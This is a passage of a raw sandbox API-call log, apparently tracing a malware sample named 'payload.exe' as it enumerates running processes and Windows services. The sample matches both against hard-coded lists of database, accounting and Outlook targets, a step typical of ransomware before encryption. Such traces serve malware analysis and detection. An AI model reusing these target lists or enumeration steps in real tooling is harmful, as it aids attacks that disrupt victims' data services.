th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.572] lstrlenW (lpString="svchost.exe") returned 11 [0102.572] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0102.572] lstrlenW (lpString="payload.exe") returned 11 [0102.572] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0102.573] lstrlenW (lpString="reader_sl.exe") returned 13 [0102.573] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0102.573] lstrlenW (lpString="taskhost.exe") returned 12 [0102.573] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0102.573] lstrlenW (lpString="dllhost.exe") returned 11 [0102.573] Process32NextW (in: hSnapshot=0x230, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0102.574] CloseHandle (hObject=0x230) returned 1 [0102.574] Sleep (dwMilliseconds=0x1f4) [0103.157] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7288 [0103.157] EnumServicesStatusExW (in: hSCManager=0x3ab7288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0103.158] GetLastError () returned 0xea [0103.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x113e) returned 0x5e07c8 [0103.158] EnumServicesStatusExW (in: hSCManager=0x3ab7288, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x113e, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0103.158] CloseServiceHandle (hSCObject=0x3ab7288) returned 1 [0103.159] lstrlenW (lpString="Appinfo") returned 7 [0103.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0103.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0103.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0103.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0103.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0103.159] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0103.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0103.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0103.159] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0103.159] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0103.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0103.159] lstrlenW (lpString="AudioSrv") returned 8 [0103.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0103.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0103.159] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0103.159] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0103.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0103.159] lstrlenW (lpString="BFE") returned 3 [0103.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0103.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0103.159] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0103.159] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0103.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0103.159] lstrlenW (lpString="CryptSvc") returned 8 [0103.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0103.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0103.159] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0103.159] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0103.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0103.159] lstrlenW (lpString="CscService") returned 10 [0103.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0103.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0103.159] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0103.159] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0103.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0103.159] lstrlenW (lpString="DcomLaunch") returned 10 [0103.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0103.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0103.159] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0103.159] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0103.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0103.159] lstrlenW (lpString="Dhcp") returned 4 [0103.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0103.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0103.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0103.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0103.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0103.159] lstrlenW (lpString="Dnscache") returned 8 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0103.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0103.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0103.160] lstrlenW (lpString="DPS") returned 3 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0103.160] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0103.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0103.160] lstrlenW (lpString="eventlog") returned 8 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0103.160] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0103.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0103.160] lstrlenW (lpString="EventSystem") returned 11 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0103.160] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0103.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0103.160] lstrlenW (lpString="gpsvc") returned 5 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0103.160] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0103.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0103.160] lstrlenW (lpString="iphlpsvc") returned 8 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0103.160] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0103.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0103.160] lstrlenW (lpString="LanmanServer") returned 12 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0103.160] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0103.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0103.160] lstrlenW (lpString="LanmanWorkstation") returned 17 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0103.160] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0103.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0103.160] lstrlenW (lpString="lmhosts") returned 7 [0103.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0103.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0103.160] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0103.161] lstrlenW (lpString="MMCSS") returned 5 [0103.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0103.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0103.161] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0103.161] lstrlenW (lpString="MpsSvc") returned 6 [0103.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0103.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0103.161] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0103.161] lstrlenW (lpString="Netman") returned 6 [0103.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0103.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0103.161] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0103.161] lstrlenW (lpString="netprofm") returned 8 [0103.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0103.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0103.161] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0103.161] lstrlenW (lpString="NlaSvc") returned 6 [0103.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0103.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0103.161] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0103.161] lstrlenW (lpString="nsi") returned 3 [0103.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0103.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0103.161] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0103.161] lstrlenW (lpString="PcaSvc") returned 6 [0103.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0103.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0103.161] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0103.161] lstrlenW (lpString="PlugPlay") returned 8 [0103.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0103.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0103.161] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0103.161] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0103.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0103.161] lstrlenW (lpString="Power") returned 5 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0103.162] lstrlenW (lpString="ProfSvc") returned 7 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0103.162] lstrlenW (lpString="RpcEptMapper") returned 12 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0103.162] lstrlenW (lpString="RpcSs") returned 5 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0103.162] lstrlenW (lpString="SamSs") returned 5 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0103.162] lstrlenW (lpString="Schedule") returned 8 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0103.162] lstrlenW (lpString="SENS") returned 4 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0103.162] lstrlenW (lpString="ShellHWDetection") returned 16 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0103.162] lstrlenW (lpString="Spooler") returned 7 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0103.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0103.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0103.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0103.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0103.162] lstrlenW (lpString="SysMain") returned 7 [0103.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0103.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0103.163] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0103.163] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0103.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0103.163] lstrlenW (lpString="Themes") returned 6 [0103.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0103.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0103.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0103.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0103.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0103.163] lstrlenW (lpString="TrkWks") returned 6 [0103.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0103.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0103.163] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0103.163] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0103.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0103.163] lstrlenW (lpString="UxSms") returned 5 [0103.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0103.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0103.163] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0103.163] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0103.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0103.163] lstrlenW (lpString="WdiServiceHost") returned 14 [0103.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0103.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0103.163] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0103.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0103.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0103.163] lstrlenW (lpString="WdiSystemHost") returned 13 [0103.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0103.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0103.163] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0103.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0103.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0103.163] lstrlenW (lpString="Winmgmt") returned 7 [0103.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0103.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0103.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0103.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0103.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0103.163] lstrlenW (lpString="WPDBusEnum") returned 10 [0103.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0103.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0103.163] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0103.163] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0103.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0103.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0103.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0103.165] Process32FirstW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.165] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0103.166] lstrlenW (lpString="System") returned 6 [0103.166] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0103.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0103.166] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0103.166] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0103.166] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0103.166] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0103.166] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0103.166] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0103.166] lstrlenW (lpString="smss.exe") returned 8 [0103.166] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0103.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0103.166] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0103.166] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0103.166] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0103.166] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0103.166] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0103.166] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0103.166] lstrlenW (lpString="csrss.exe") returned 9 [0103.166] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0103.166] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0103.166] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0103.167] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0103.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0103.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0103.167] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0103.167] Process32NextW (in: hSnapshot=0x398, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0103.167] lstrlenW (lpString="wininit.exe") returned 11 [0103.167] lstrcmpiW 